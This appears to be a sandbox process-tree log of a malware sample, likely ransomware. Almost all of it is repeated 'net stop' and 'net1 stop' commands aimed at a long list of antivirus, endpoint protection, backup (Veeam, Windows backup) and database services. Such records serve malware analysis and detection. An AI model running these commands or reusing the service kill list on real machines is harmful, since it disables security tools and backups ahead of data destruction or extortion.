C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "bedbg" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "DCAgent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "DCAgent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EPSecurityService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EPSecurityService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EPUpdateService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EPUpdateService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EraserSvc11710" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EraserSvc11710" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EsgShKernel" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EsgShKernel" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "FA_Scheduler" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "FA_Scheduler" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "IISAdmin" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IISAdmin" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "IMAP4Svc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IMAP4Svc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "macmnsvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "macmnsvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "masvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "masvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MBAMService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MBAMService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MBEndpointAgent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MBEndpointAgent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McAfeeEngineService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McAfeeEngineService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McAfeeFramework" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McAfeeFramework" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McAfeeFrameworkMcAfeeFramework" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McAfeeFrameworkMcAfeeFramework" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McShield" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McShield" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McTaskManager" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McTaskManager" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "mfemms" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mfemms" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "mfevtp" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mfevtp" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MMS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MMS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "mozyprobackup" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mozyprobackup" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MsDtsServer" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MsDtsServer" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MsDtsServer100" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MsDtsServer100" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MsDtsServer110" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MsDtsServer110" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeES" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeES" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeIS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeIS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeMGMT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeMGMT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeMTA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeMTA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeSA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeSA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeSRS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeSRS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$SQL_2008" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$TPSAMA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$BKUPEXEC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$BKUPEXEC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$ECWDB2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$ECWDB2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PRACTICEMGT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PRACTICEMGT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PRACTTICEBGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PRACTTICEBGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PROFXENGAGEMENT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PROFXENGAGEMENT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SBSMONITORING" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SBSMONITORING" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SHAREPOINT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SHAREPOINT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SQL_2008" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$TPSAMA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$VEEAMSQL2012" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SBSMONITORING" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SBSMONITORING" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SHAREPOINT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SHAREPOINT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SQL_2008" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$TPSAMA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLSERVER" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLSERVER" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLServerADHelper100" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerADHelper100" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLServerOLAPService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerOLAPService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MySQL80" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MySQL80" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MySQL57" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MySQL57" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ntrtscan" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ntrtscan" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "OracleClientCache80" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "OracleClientCache80" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "PDVFSService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "PDVFSService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "POP3Svc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "POP3Svc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$SQL_2008" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$TPSAMA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "RESvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "RESvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "sacsvr" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "sacsvr" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SamSs" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SamSs" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SAVAdminService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SAVAdminService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SAVService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SAVService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SDRSVC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SDRSVC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SepMasterService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SepMasterService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ShMonitor" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ShMonitor" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Smcinst" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Smcinst" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SmcService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SmcService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SMTPSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SMTPSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SNAC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SNAC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SntpService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SntpService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "sophossps" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "sophossps" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$BKUPEXEC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$BKUPEXEC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$ECWDB2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$ECWDB2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PRACTTICEBGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PRACTTICEBGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PRACTTICEMGT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PRACTTICEMGT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PROFXENGAGEMENT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PROFXENGAGEMENT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SBSMONITORING" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SBSMONITORING" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SHAREPOINT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SHAREPOINT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SQL_2008" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$TPSAMA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$VEEAMSQL2012" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLBrowser" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLBrowser" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLSafeOLRService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLSafeOLRService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLSERVERAGENT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLSERVERAGENT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLTELEMETRY" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLTELEMETRY" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLTELEMETRY$ECWDB2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLTELEMETRY$ECWDB2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLWriter" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLWriter" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SstpSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SstpSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "svcGenericHost" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "svcGenericHost" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "swi_filter" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "swi_filter" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "swi_service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "swi_service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "swi_update_64" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "swi_update_64" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TmCCSF" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TmCCSF" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "tmlisten" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "tmlisten" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueKey" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueKey" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueKeyScheduler" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueKeyScheduler" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueKeyServiceHelper" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueKeyServiceHelper" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "UI0Detect" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "UI0Detect" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamBackupSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamBackupSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamBrokerSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamBrokerSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamCatalogSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamCatalogSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamCloudSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamCloudSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamDeploymentService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamDeploymentService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamDeploySvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamDeploySvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamEnterpriseManagerSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamEnterpriseManagerSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamMountSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamMountSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamNFSSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamNFSSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamRESTSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamRESTSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamTransportSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamTransportSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "W3Svc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "W3Svc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "wbengine" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "wbengine" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "WRSVC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "WRSVC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamHvIntegrationSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamHvIntegrationSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "swi_update" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "swi_update" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$CXDB" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$CXDB" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$CITRIX_METAFRAME" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$CITRIX_METAFRAME" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQL Backups" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQL Backups" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PROD" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PROD" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Zoolz 2 Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Zoolz 2 Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLServerADHelper" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerADHelper" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PROD" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PROD" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "msftesql$PROD" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "msftesql$PROD" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "NetMsmqActivator" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NetMsmqActivator" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EhttpSrv" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EhttpSrv" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ekrn" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ekrn" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ESHASRV" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ESHASRV" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SOPHOS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SOPHOS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SOPHOS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SOPHOS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "AVP" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AVP" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "klnagent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "klnagent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SQLEXPRESS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SQLEXPRESS" /y4⤵
-
-
-
